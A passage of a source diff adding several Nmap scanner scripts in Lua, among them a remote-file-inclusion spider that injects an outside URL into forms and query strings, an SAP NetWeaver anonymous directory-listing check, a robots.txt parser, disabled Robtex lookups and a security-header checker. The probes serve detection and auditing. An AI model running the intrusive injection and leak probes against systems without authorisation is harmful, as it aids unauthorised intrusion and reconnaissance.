+-- |_ inc=http%3a%2f%2ftools%2eietf%2eorg%2fhtml%2frfc13%3f
+--
+-- @xmloutput
+-- <table key="Forms">
+-- <table key="/experiments/rfihome.html">
+-- <table key="(form 1)">
+-- <table key="Vulnerable fields">
+-- <elem>inc</elem>
+-- </table>
+-- <elem key="Action">rfi.pl</elem>
+-- </table>
+-- <table key="someform">
+-- <table key="Vulnerable fields">
+-- <elem>inc2</elem>
+-- </table>
+-- <elem key="Action">rfi.pl</elem>
+-- </table>
+-- </table>
+-- </table>
+-- <table key="Queries">
+-- <table key="/experiments/rfi.pl">
+-- <elem>inc=http%3a%2f%2ftools%2eietf%2eorg%2fhtml%2frfc13%3f</elem>
+-- </table>
+-- </table>
+--
+-- @args http-rfi-spider.inclusionurl the url we will try to include, defaults
+-- to <code>http://tools.ietf.org/html/rfc13?</code>
+-- @args http-rfi-spider.pattern the pattern to search for in <code>response.body</code>
+-- to determine if the inclusion was successful, defaults to
+-- <code>'20 August 1969'</code>
+-- @args http-rfi-spider.maxdepth the maximum amount of directories beneath
+-- the initial url to spider. A negative value disables the limit.
+-- (default: 3)
+-- @args http-rfi-spider.maxpagecount the maximum amount of pages to visit.
+-- A negative value disables the limit (default: 20)
+-- @args http-rfi-spider.url the url to start spidering. This is a URL
+-- relative to the scanned host eg. /default.html (default: /)
+-- @args http-rfi-spider.withinhost only spider URLs within the same host.
+-- (default: true)
+-- @args http-rfi-spider.withindomain only spider URLs within the same
+-- domain. This widens the scope from <code>withinhost</code> and can
+-- not be used in combination. (default: false)
+--
+
+author = "Piotr Olma"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive"}
+
+local shortport = require 'shortport'
+local http = require 'http'
+local stdnse = require 'stdnse'
+local url = require 'url'
+local httpspider = require 'httpspider'
+local string = require 'string'
+local table = require 'table'
+local tableaux = require 'tableaux'
+
+-- this is a variable that will hold the function that checks if a pattern we are searching for is in
+-- response's body
+local check_response
+
+-- this variable will hold the injection url
+local inclusion_url
+
+-- checks if a field is of type we want to check for rfi
+local function rfi_field(field_type)
+ return field_type=="text" or field_type=="radio" or field_type=="checkbox" or field_type=="textarea"
+end
+
+-- generates postdata with value of "sampleString" for every field (that satisfies rfi_field()) of a form
+local function generate_safe_postdata(form)
+ local postdata = {}
+ for _,field in ipairs(form["fields"]) do
+ if rfi_field(field["type"]) then
+ postdata[field["name"]] = "sampleString"
+ end
+ end
+ return postdata
+end
+
+-- checks each field of a form to see if it's vulnerable to rfi
+local function check_form(form, host, port, path)
+ local vulnerable_fields = {}
+ local postdata = generate_safe_postdata(form)
+ local sending_function, response
+
+ local form_submission_path = url.absolute(path, form.action)
+ if form["method"]=="post" then
+ sending_function = function(data) return http.post(host, port, form_submission_path, nil, nil, data) end
+ else
+ sending_function = function(data) return http.get(host, port, form_submission_path.."?"..url.build_query(data), nil) end
+ end
+
+ for _,field in ipairs(form["fields"]) do
+ if rfi_field(field["type"]) then
+ stdnse.debug2("checking field %s", field["name"])
+ postdata[field["name"]] = inclusion_url
+ response = sending_function(postdata)
+ if response and response.body and response.status==200 then
+ if check_response(response.body) then
+ vulnerable_fields[#vulnerable_fields+1] = field["name"]
+ end
+ end
+ postdata[field["name"]] = "sampleString"
+ end
+ end
+ return vulnerable_fields
+end
+
+-- builds urls with a query that would let us decide if a parameter is rfi vulnerable
+local function build_urls(injectable)
+ local new_urls = {}
+ for _,u in ipairs(injectable) do
+ if type(u) == "string" then
+ local parsed_url = url.parse(u)
+ local old_query = url.parse_query(parsed_url.query)
+ for f,v in pairs(old_query) do
+ old_query[f] = inclusion_url
+ parsed_url.query = url.build_query(old_query)
+ table.insert(new_urls, url.build(parsed_url))
+ old_query[f] = v
+ end
+ end
+ end
+ return new_urls
+end
+
+-- as in sql-injection.nse
+local function inject(host, port, injectable)
+ local all = nil
+ for k, v in pairs(injectable) do
+ all = http.pipeline_add(v, nil, all, 'GET')
+ end
+ return http.pipeline_go(host, port, all)
+end
+
+local function check_responses(urls, responses)
+ if responses == nil or #responses==0 then
+ return {}
+ end
+ local suspects = {}
+ for i,r in ipairs(responses) do
+ if r.body then
+ if check_response(r.body) then
+ local parsed = url.parse(urls[i])
+ if suspects[parsed.path] then
+ table.insert(suspects[parsed.path], parsed.query)
+ else
+ suspects[parsed.path] = {}
+ table.insert(suspects[parsed.path], parsed.query)
+ end
+ end
+ end
+ end
+ return suspects
+end
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+function action(host, port)
+ inclusion_url = stdnse.get_script_args('http-rfi-spider.inclusionurl') or 'http://tools.ietf.org/html/rfc13?'
+ local pattern_to_search = stdnse.get_script_args('http-rfi-spider.pattern') or '20 August 1969'
+
+ -- once we know the pattern we'll be searching for, we can set up the function
+ check_response = function(body) return string.find(body, pattern_to_search) end
+
+ -- create a new crawler instance
+ local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME} )
+
+ if ( not(crawler) ) then
+ return
+ end
+
+ local output = stdnse.output_table()
+ output.Forms = stdnse.output_table()
+ output.Queries = stdnse.output_table()
+
+ while(true) do
+ local status, r = crawler:crawl()
+
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ -- first we try rfi on forms
+ if r.response and r.response.body and r.response.status==200 then
+ local path = r.url.path
+ local all_forms = http.grab_forms(r.response.body)
+ for seq, form_plain in ipairs(all_forms) do
+ local form = http.parse_form(form_plain)
+ if form and form.action then
+ local vulnerable_fields = check_form(form, host, port, path)
+ if #vulnerable_fields > 0 then
+ local out_form = stdnse.output_table()
+ out_form["Action"] = form.action
+ out_form["Vulnerable fields"] = vulnerable_fields
+ if not output.Forms[path] then output.Forms[path] = stdnse.output_table() end
+ output.Forms[path][form.id or string.format("(form %d)", seq)] = out_form
+ end
+ end
+ end --for
+ end --if
+
+ -- now try inclusion by query parameters
+ local injectable = {}
+ -- search for injectable links (as in sql-injection.nse)
+ if r.response.status and r.response.body then
+ local links = httpspider.LinkExtractor:new(r.url, r.response.body, crawler.options):getLinks()
+ for _,u in ipairs(links) do
+ local url_parsed = url.parse(u)
+ if url_parsed.query then
+ table.insert(injectable, u)
+ end
+ end
+ end
+ if #injectable > 0 then
+ local new_urls = build_urls(injectable)
+ local responses = inject(host, port, new_urls)
+ local suspects = check_responses(new_urls, responses)
+ for p, q in pairs(suspects) do
+ local queries_out = output.Queries[p] or {}
+ for _, query in ipairs(q) do
+ queries_out[#queries_out+1] = query
+ end
+ output.Queries[p] = queries_out
+ end
+ end
+ end
+
+ local text_output = {}
+ if #output.Forms > 0 then
+ local rfi = { name = "Possible RFI in form fields" }
+ for path, forms in pairs(output.Forms) do
+ for fid, fobj in pairs(forms) do
+ local out = tableaux.shallow_tcopy(fobj["Vulnerable fields"])
+ out.name = string.format('Form "%s" at %s (action %s) with fields:',
+ fid, path, fobj["Action"])
+ table.insert(rfi, out)
+ end
+ end
+ table.insert(text_output, rfi)
+ end
+ if #output.Queries > 0 then
+ local rfi = { name = "Possible RFI in query parameters" }
+ for path, queries in pairs(output.Queries) do
+ local out = tableaux.shallow_tcopy(queries)
+ out.name = string.format('Path %s with queries:', path)
+ table.insert(rfi, out)
+ end
+ table.insert(text_output, rfi)
+ end
+
+ if #text_output > 0 then
+ return output, stdnse.format_output(true, text_output)
+ end
+end
+
diff --git a/scripts/http-robots.txt.nse b/scripts/http-robots.txt.nse
new file mode 100644
index 0000000..bc5632a
--- /dev/null
+++ b/scripts/http-robots.txt.nse
@@ -0,0 +1,111 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local strbuf = require "strbuf"
+local table = require "table"
+
+description = [[
+Checks for disallowed entries in <code>/robots.txt</code> on a web server.
+
+The higher the verbosity or debug level, the more disallowed entries are shown.
+]]
+
+---
+--@output
+-- 80/tcp open http syn-ack
+-- | http-robots.txt: 156 disallowed entries (40 shown)
+-- | /news?output=xhtml& /search /groups /images /catalogs
+-- | /catalogues /news /nwshp /news?btcid=*& /news?btaid=*&
+-- | /setnewsprefs? /index.html? /? /addurl/image? /pagead/ /relpage/
+-- | /relcontent /sorry/ /imgres /keyword/ /u/ /univ/ /cobrand /custom
+-- | /advanced_group_search /googlesite /preferences /setprefs /swr /url /default
+-- | /m? /m/? /m/lcb /m/news? /m/setnewsprefs? /m/search? /wml?
+-- |_ /wml/? /wml/search?
+
+
+
+author = "Eddie Bell"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+portrule = shortport.http
+local last_len = 0
+
+-- split the output in 50 character length lines
+local function buildOutput(output, w)
+ local nl
+
+ if w:len() == 0 then
+ return nil
+ end
+
+ -- check for duplicates
+ for i,v in ipairs(output) do
+ if w == v or w == v:sub(2, v:len()) then
+ return nil
+ end
+ end
+
+ -- format lines
+ if last_len == 0 or last_len + w:len() <= 50 then
+ last_len = last_len + w:len()
+ nl = ''
+ else
+ last_len = 0
+ nl = '\n'
+ end
+
+ output = output .. (nl .. w)
+end
+
+-- parse all disallowed entries in body and add them to a strbuf
+local function parse_robots(body, output)
+ for line in body:gmatch("[^\r\n]+") do
+ for w in line:gmatch('[Dd]isallow:%s*(.*)') do
+ w = w:gsub("%s*#.*", "")
+ buildOutput(output, w)
+ end
+ end
+
+ return #output
+end
+
+action = function(host, port)
+ local dis_count, noun
+ local answer = http.get(host, port, "/robots.txt" )
+
+ if answer.status ~= 200 then
+ return nil
+ end
+
+ local v_level = nmap.verbosity() + (nmap.debugging()*2)
+ local output = strbuf.new()
+ local detail = 15
+
+ dis_count = parse_robots(answer.body, output)
+
+ if dis_count == 0 then
+ return
+ end
+
+ -- verbose/debug mode, print 50 entries
+ if v_level > 1 and v_level < 5 then
+ detail = 40
+ -- double debug mode, print everything
+ elseif v_level >= 5 then
+ detail = dis_count
+ end
+
+ -- check we have enough entries
+ if detail > dis_count then
+ detail = dis_count
+ end
+
+ noun = dis_count == 1 and "entry " or "entries "
+
+ local shown = (detail == 0 or detail == dis_count)
+ and "\n" or '(' .. detail .. ' shown)\n'
+
+ return dis_count .. " disallowed " .. noun ..
+ shown .. table.concat(output, ' ', 1, detail)
+end
diff --git a/scripts/http-robtex-reverse-ip.nse b/scripts/http-robtex-reverse-ip.nse
new file mode 100644
index 0000000..66bf5e5
--- /dev/null
+++ b/scripts/http-robtex-reverse-ip.nse
@@ -0,0 +1,81 @@
+local http = require "http"
+local ipOps = require "ipOps"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Obtains up to 100 forward DNS names for a target IP address by querying the Robtex service (https://www.robtex.com/ip-lookup/).
+
+*TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
+]]
+
+---
+-- @usage
+-- nmap --script http-robtex-reverse-ip --script-args http-robtex-reverse-ip.host='<ip>'
+--
+-- @output
+-- Pre-scan script results:
+-- | http-robtex-reverse-ip:
+-- | *.insecure.org
+-- | *.nmap.com
+-- | *.nmap.org
+-- | *.seclists.org
+-- | insecure.com
+-- | insecure.org
+-- | lists.insecure.org
+-- | nmap.com
+-- | nmap.net
+-- | nmap.org
+-- | seclists.org
+-- | sectools.org
+-- | web.insecure.org
+-- | www.insecure.org
+-- | www.nmap.com
+-- | www.nmap.org
+-- | www.seclists.org
+-- |_ images.insecure.org
+--
+-- @args http-robtex-reverse-ip.host IPv4 address of the host to lookup
+--
+
+author = "riemann"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe", "external"}
+
+
+--- Scrape reverse ip information from robtex website
+-- @param data string containing the retrieved web page
+-- @return table containing the resolved host names
+function parse_robtex_response(data)
+ local data = data:match("<h2>Shared</h2>(.-)<h2>History</h2>")
+ local result = {}
+ if data then
+ for domain in data:gmatch('/dns%-lookup/(.-)"') do
+ table.insert(result, domain)
+ end
+ end
+ return result
+end
+
+prerule = function() return stdnse.get_script_args("http-robtex-reverse-ip.host") ~= nil end
+
+action = function()
+ return "*TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/"
+end
+
+--[[
+action = function(host, port)
+
+ local target = stdnse.get_script_args("http-robtex-reverse-ip.host")
+ local ip = ipOps.ip_to_str(target)
+ if ( not(ip) or #ip ~= 4 ) then
+ return stdnse.format_output(false, "The argument \"http-robtex-reverse-ip.host\" did not contain a valid IPv4 address")
+ end
+
+ local htmldata = http.get_url("https://www.robtex.com/ip-lookup/"..target, {any_af=true})
+ local domains = parse_robtex_response(htmldata.body)
+ if ( #domains > 0 ) then
+ return stdnse.format_output(true, domains)
+ end
+end
+]]--
diff --git a/scripts/http-robtex-shared-ns.nse b/scripts/http-robtex-shared-ns.nse
new file mode 100644
index 0000000..5dc17db
--- /dev/null
+++ b/scripts/http-robtex-shared-ns.nse
@@ -0,0 +1,111 @@
+local http = require "http"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Finds up to 100 domain names which use the same name server as the target by querying the Robtex service at http://www.robtex.com/dns/.
+
+The target must be specified by DNS name, not IP address.
+
+*TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
+]]
+
+---
+-- @usage
+-- nmap --script http-robtex-shared-ns
+--
+-- @outt
+-- Host script results:
+-- | http-robtex-shared-ns:
+-- | example.edu
+-- | example.net
+-- | example.edu
+-- |_ example.net
+-- (some results omitted for brevity)
+--
+-- TODO:
+-- * Add list of nameservers, or group output accordingly
+--
+
+author = "Arturo 'Buanzo' Busleiman"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe", "external"}
+
+prerule = function() return true end
+action = function()
+ return "*TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/"
+end
+
+--[[
+local function unescape(s)
+ return string.gsub(s, "\\x(%x%x)", function(hex)
+ return string.char(tonumber(hex, 16))
+ end)
+end
+
+
+--- Scrape domains sharing name servers from robtex website
+-- @param data string containing the retrieved web page
+-- @return table containing the resolved host names
+function parse_robtex_response(data)
+ local result = {}
+
+ if ( not(data) ) then
+ return
+ end
+
+ -- cut out the section we're interested in
+ data = data:match('<span id="shared[^"]*_pn_mn">.-<ol.->(.-)</ol>')
+
+ -- process each html list item
+ if data then
+ for domain in data:gmatch("<li[^>]*>(.-)</li>") do
+ domain = domain:gsub("<[^>]+>","")
+ if ( domain ) then
+ table.insert(result, domain)
+ end
+ end
+ end
+
+ return result
+end
+
+local function lookup_dns_server(data)
+ return data:match("The primary name server is <a.->(.-)</a>.")
+end
+
+local function fetch_robtex_data(url)
+ local htmldata = http.get("www.robtex.net", 443, url, {any_af=true})
+ if ( not(htmldata) or not(htmldata.body) ) then
+ return
+ end
+
+ -- fixup hex encodings
+ return unescape(htmldata.body)
+end
+
+hostrule = function (host) return host.targetname end
+
+action = function(host)
+ local base_url = "/?dns=" .. host.targetname
+ local data = fetch_robtex_data(base_url)
+ local domains = parse_robtex_response(data)
+
+ if ( not(domains) ) then
+ local server = lookup_dns_server(data)
+ if ( not(server) ) then
+ return
+ end
+ local url = base_url:format(server)
+ stdnse.debug2("Querying URL: %s", url)
+ data = fetch_robtex_data(url)
+
+ domains = parse_robtex_response(data)
+ end
+
+ if (domains and #domains > 0) then
+ return stdnse.format_output(true, domains)
+ end
+end
+]]--
diff --git a/scripts/http-sap-netweaver-leak.nse b/scripts/http-sap-netweaver-leak.nse
new file mode 100644
index 0000000..cc8e785
--- /dev/null
+++ b/scripts/http-sap-netweaver-leak.nse
@@ -0,0 +1,138 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+local table = require "table"
+
+description = [[
+Detects SAP Netweaver Portal instances that allow anonymous access to the
+ KM unit navigation page. This page leaks file names, ldap users, etc.
+
+SAP Netweaver Portal with the Knowledge Management Unit enable allows unauthenticated
+users to list file system directories through the URL '/irj/go/km/navigation?Uri=/'.
+
+This issue has been reported and won't be fixed.
+
+References:
+* https://help.sap.com/saphelp_nw73ehp1/helpdata/en/4a/5c004250995a6ae10000000a42189b/frameset.htm
+]]
+
+---
+-- @usage nmap -p 80 --script http-sap-netweaver-leak <target>
+-- @usage nmap -sV --script http-sap-netweaver-leak <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 443/tcp open https syn-ack
+-- | http-sap-netweaver-leak:
+-- | VULNERABLE:
+-- | Anonymous access to SAP Netweaver Portal
+-- | State: VULNERABLE (Exploitable)
+-- | SAP Netweaver Portal with the Knowledge Management Unit allows attackers to obtain system information
+-- | including file system structure, LDAP users, emails and other information.
+-- |
+-- | Disclosure date: 2018-02-1
+-- | Check results:
+-- | Visit /irj/go/km/navigation?Uri=/ to access this SAP instance.
+-- | Extra information:
+-- | &#x7e;system
+-- | discussiongroups
+-- | documents
+-- | Entry&#x20;Points
+-- | etc
+-- | Reporting
+-- | References:
+-- |_ https://help.sap.com/saphelp_nw73ehp1/helpdata/en/4a/5c004250995a6ae10000000a42189b/frameset.htm
+--
+-- @xmloutput
+-- <table key="NMAP-1">
+-- <elem key="title">Anonymous access to SAP Netweaver Portal</elem>
+-- <elem key="state">VULNERABLE (Exploitable)</elem>
+-- <table key="description">
+-- <el em>SAP Netweaver Portal with the Knowledge Management Unit allows attackers to obtain system information&#xa;
+-- including file system structure, LDAP users, emails and other information.&#xa;</elem>
+-- </table>
+-- <table key="dates">
+-- <table key="disclosure">
+-- <elem key="day">1</elem>
+-- <elem key="year">2018</elem>
+-- <elem key="month">02</elem>
+-- </table>
+-- </table>
+-- <elem key="disclosure">2018-02-1</elem>
+-- <table key="check_results">
+-- <elem>Visit /irj/go/km/navigation?Uri=/ to access this SAP instance.</elem>
+-- </table>
+-- <table key="extra_info">
+-- <elem>&amp;#x7e;system</elem>
+-- </table>
+-- <table key="refs">
+-- <elem>https://help.sap.com/saphelp_nw73ehp1/helpdata/en/4a/5c004250995a6ae10000000a42189b/frameset.htm</elem>
+-- </table>
+-- </table>
+-- </script>
+---
+
+author = "Francisco Leon <@arphanetx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery"}
+
+local evil_path = "/irj/go/km/navigation?Uri=/"
+
+portrule = shortport.http
+
+action = function(host, port)
+ local vuln = {
+ title = 'Anonymous access to SAP Netweaver Portal',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+SAP Netweaver Portal with the Knowledge Management Unit allows attackers to obtain system information
+including file system structure, LDAP users, emails and other information.
+ ]],
+ references = {
+ 'https://help.sap.com/saphelp_nw73ehp1/helpdata/en/4a/5c004250995a6ae10000000a42189b/frameset.htm',
+ },
+ dates = {
+ disclosure = {year = '2018', month = '02', day = '1'},
+ },
+ }
+
+ local status_404, result_404, _= http.identify_404(host,port)
+ if (status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s%:s.All URIs return status 200", host.ip, port.number)
+ return nil
+ end
+
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local output_table = stdnse.output_table()
+ local options = {header={}, no_cache=true, bypass_cache=true}
+
+ --We need a valid User Agent for SAP Netweaver Portal servers
+ options['header']['User-Agent'] = "Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1;"
+ ..".NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0"
+
+ local response = http.get(host, port, evil_path, options)
+ if response and response.status == 200 then
+ if string.find(response.body,'logon') then
+ stdnse.debug1("String 'logon' was found in this page. Exiting.")
+ return vuln_report:make_output(vuln)
+ else
+ local files = {}
+ for file in string.gmatch(response.body, "[Cc][Ll][Aa][Ss][Ss][=][\"]urTxtStd[\"]>([^$<]*.)</[Ss][Pp][Aa][Nn]>") do
+ table.insert(files, file)
+ end
+ if #files>0 then
+ vuln.state = vulns.STATE.EXPLOIT
+ vuln.extra_info = files
+ vuln.check_results = string.format("Visit %s to obtain more information about the files.", evil_path)
+ end
+ return vuln_report:make_output(vuln)
+ end
+ else
+ stdnse.debug1("SAP Netweaver Portal not found.")
+ return vuln_report:make_output(vuln)
+ end
+
+end
diff --git a/scripts/http-security-headers.nse b/scripts/http-security-headers.nse
new file mode 100644
index 0000000..17329ff
--- /dev/null
+++ b/scripts/http-security-headers.nse
@@ -0,0 +1,315 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local string = require "string"
+
+description = [[
+Checks for the HTTP response headers related to security given in OWASP Secure Headers Project
+and gives a brief description of the header and its configuration value.
+
+The script requests the server for the header with http.head and parses it to list headers founds with their
+configurations. The script checks for HSTS(HTTP Strict Transport Security), HPKP(HTTP Public Key Pins),
+X-Frame-Options, X-XSS-Protection, X-Content-Type-Options, Content-Security-Policy,
+X-Permitted-Cross-Domain-Policies, Set-Cookie, Expect-CT, Cache-Control, Pragma and Expires.
+
+References: https://www.owasp.org/index.php/OWASP_Secure_Headers_Project
+https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
+
+]]
+
+---
+-- @usage
+-- nmap -p <port> --script http-security-headers <target>
+--
+-- @output
+-- 80/tcp open http syn-ack
+-- | http-security-headers:
+-- | Strict_Transport_Security:
+-- | Header: Strict-Transport-Security: max-age=15552000; preload
+-- | Public_Key_Pins_Report_Only:
+-- | Header: Public-Key-Pins-Report-Only: max-age=500; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="q4PO2G2cbkZhZ82+JgmRUyGMoAeozA+BSXVXQWB8XWQ="; report-uri="http://reports.fb.com/hpkp/"
+-- | X_Frame_Options:
+-- | Header: X-Frame-Options: DENY
+-- | Description: The browser must not display this content in any frame.
+-- | X_XSS_Protection:
+-- | Header: X-XSS-Protection: 0
+-- | Description: The XSS filter is disabled.
+-- | X_Content_Type_Options:
+-- | Header: X-Content-Type-Options: nosniff
+-- | Will prevent the browser from MIME-sniffing a response away from the declared content-type.
+-- | Content-Security-Policy:
+-- | Header: Content-Security-Policy: script-src 'self'
+-- | Description: Loading policy for all resources type in case of a resource type dedicated directive is not defined (fallback).
+-- | X-Permitted-Cross-Domain-Policies:
+-- | Header: X-Permitted-Cross-Domain-Policies: none
+-- | Description : No policy files are allowed anywhere on the target server, including this master policy file.
+-- | Cache_Control:
+-- | Header: Cache-Control: private, no-cache, no-store, must-revalidate
+-- | Pragma:
+-- | Header: Pragma: no-cache
+-- | Expires:
+-- |_ Header: Expires: Sat, 01 Jan 2000 00:00:00 GMT
+--
+--
+-- @xmloutput
+-- <table key="Strict_Transport_Policy">
+-- <elem>Header: Strict-Transport-Security: max-age=31536000</elem>
+-- </table>
+-- <table key="Public_Key_Pins_Report_Only">
+-- <elem>Header: Public-Key-Pins-Report-Only: pin-sha256="d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM="; report-uri="http://example.com/pkp-report"; max-age=10000; includeSubDomains</elem>
+-- </table>
+-- <table key="X_Frame_Options">
+-- <elem>Header: X-Frame-Options: DENY</elem>
+-- <elem>Description: The browser must not display this content in any frame.</elem>
+-- </table>
+-- <table key="X-XSS-Protection">
+-- <elem>Header: X-XSS-Protection: 1; mode=block</elem>
+-- <elem>Description: Rather than sanitize the page, when a XSS attack is detected, the browser will prevent rendering of the page.</elem>
+-- </table>
+-- <table key="X_Content_Type_Options">
+-- <elem>Header: X-Content-Type-Options: nosniff</elem>
+-- <elem>Description: Will prevent the browser from MIME-sniffing a response away from the declared content-type.</elem>
+-- </table>
+-- <table key="Content_Security_Policy">
+-- <elem>Header: Content-Security-Policy: script-src 'self'</elem>
+-- <elem>Description: Loading policy for all resources type in case of a resource type dedicated directive is not defined (fallback).</elem>
+-- </table>
+-- <table key="X_Permitted_Cross_Domain_Policies">
+-- <elem>Header: X-Permitted-Cross-Domain-Policies: none</elem>
+-- <elem>Description: No policy files are allowed anywhere on the target server, including this master policy file.</elem>
+-- </table>
+-- <table key="Cache_Control">
+-- <elem>Header: Cache-Control: private, no-cache, no-store, must-revalidate</elem>
+-- </table>
+-- <table key="Pragma">
+-- <elem>Header: Pragma: no-cache</elem
+-- </table>
+-- <table key="Expires">
+-- <elem>Header: Expires: Sat, 01 Jan 2000 00:00:00 GMT</elem
+-- </table>
+--
+-- @args http-security-headers.path The URL path to request. The default path is "/".
+---
+
+author = {"Icaro Torres", "Vinamra Bhatia"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+portrule = shortport.port_or_service({80,443}, "http", "tcp")
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local path = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/"
+ local response
+ local output_info = {}
+ local hsts_header
+ local hpkp_header
+ local xframe_header
+ local x_xss_header
+ local x_content_type_header
+ local csp_header
+ local x_cross_domain_header
+ local cookie
+ local req_opt = {redirect_ok=function(host,port)
+ local c = 2
+ return function(uri)
+ if ( c==0 ) then return false end
+ c = c - 1
+ return true
+ end
+ end}
+
+ response = http.head(host, port, path, req_opt)
+
+ output_info = stdnse.output_table()
+
+ if response == nil then
+ return fail("Request failed")
+ end
+
+ if response.header == nil then
+ return fail("Response didn't include a proper header")
+ end
+
+ if response.header['strict-transport-security'] then
+ output_info.Strict_Transport_Security = {}
+ table.insert(output_info.Strict_Transport_Security, "Header: Strict-Transport-Security: " .. response.header['strict-transport-security'])
+ elseif shortport.ssl(host,port) then
+ output_info.Strict_Transport_Security = {}
+ table.insert(output_info.Strict_Transport_Security, "HSTS not configured in HTTPS Server")
+ end
+
+ if response.header['public-key-pins-report-only'] then
+ output_info.Public_Key_Pins_Report_Only = {}
+ table.insert(output_info.Public_Key_Pins_Report_Only, "Header: Public-Key-Pins-Report-Only: " .. response.header['public-key-pins-report-only'])
+ end
+
+ if response.header['x-frame-options'] then
+ output_info.X_Frame_Options = {}
+ table.insert(output_info.X_Frame_Options, "Header: X-Frame-Options: " .. response.header['x-frame-options'])
+
+ xframe_header = string.lower(response.header['x-frame-options'])
+ if string.match(xframe_header,'deny') then
+ table.insert(output_info.X_Frame_Options, "Description: The browser must not display this content in any frame.")
+ elseif string.match(xframe_header,'sameorigin') then
+ table.insert(output_info.X_Frame_Options, "Description: The browser must not display this content in any frame from a page of different origin than the content itself.")
+ elseif string.match(xframe_header,'allow.from') then
+ table.insert(output_info.X_Frame_Options, "Description: The browser must not display this content in a frame from any page with a top-level browsing context of different origin than the specified origin.")
+ end
+
+ end
+
+ if response.header['x-xss-protection'] then
+ output_info.X_XSS_Protection = {}
+ table.insert(output_info.X_XSS_Protection, "Header: X-XSS-Protection: " .. response.header['x-xss-protection'])
+
+ x_xss_header = string.lower(response.header['x-xss-protection'])
+ if string.match(x_xss_header,'block') then
+ table.insert(output_info.X_XSS_Protection, "Description: The browser will prevent the rendering of the page when XSS is detected.")
+ elseif string.match(x_xss_header,'report') then
+ table.insert(output_info.X_XSS_Protection, "Description: The browser will sanitize the page and report the violation if XSS is detected.")
+ elseif string.match(x_xss_header,'0') then
+ table.insert(output_info.X_XSS_Protection, "Description: The XSS filter is disabled.")
+ end
+
+ end
+
+ if response.header['x-content-type-options'] then
+ output_info.X_Content_Type_Options = {}
+ table.insert(output_info.X_Content_Type_Options, "Header: X-Content-Type-Options: " .. response.header['x-content-type-options'])
+
+ x_content_type_header = string.lower(response.header['x-content-type-options'])
+ if string.match(x_content_type_header,'nosniff') then
+ table.insert(output_info.X_Content_Type_Options, "Description: Will prevent the browser from MIME-sniffing a response away from the declared content-type. ")
+ end
+
+ end
+
+ if response.header['content-security-policy'] then
+ output_info.Content_Security_Policy = {}
+ table.insert(output_info.Content_Security_Policy, "Header: Content-Security-Policy: " .. response.header['content-security-policy'])
+
+ csp_header = string.lower(response.header['content-security-policy'])
+ if string.match(csp_header,'base.uri') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define the base uri for relative uri.")
+ end
+ if string.match(csp_header,'default.src') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define loading policy for all resources type in case of a resource type dedicated directive is not defined (fallback).")
+ end
+ if string.match(csp_header,'script.src') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define which scripts the protected resource can execute.")
+ end
+ if string.match(csp_header,'object.src') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define from where the protected resource can load plugins.")
+ end
+ if string.match(csp_header,'style.src') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define which styles (CSS) the user applies to the protected resource.")
+ end
+ if string.match(csp_header,'img.src') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define from where the protected resource can load images.")
+ end
+ if string.match(csp_header,'media.src') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define from where the protected resource can load video and audio.")
+ end
+ if string.match(csp_header,'frame.src') then
+ table.insert(output_info.Content_Security_Policy, "Description: Deprecated and replaced by child-src. Define from where the protected resource can embed frames.")
+ end
+ if string.match(csp_header,'child.src') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define from where the protected resource can embed frames.")
+ end
+ if string.match(csp_header,'frame.ancestors') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define from where the protected resource can be embedded in frames.")
+ end
+ if string.match(csp_header,'font.src') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define from where the protected resource can load fonts.")
+ end
+ if string.match(csp_header,'connect.src') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define which URIs the protected resource can load using script interfaces.")
+ end
+ if string.match(csp_header,'mailfest.src') then
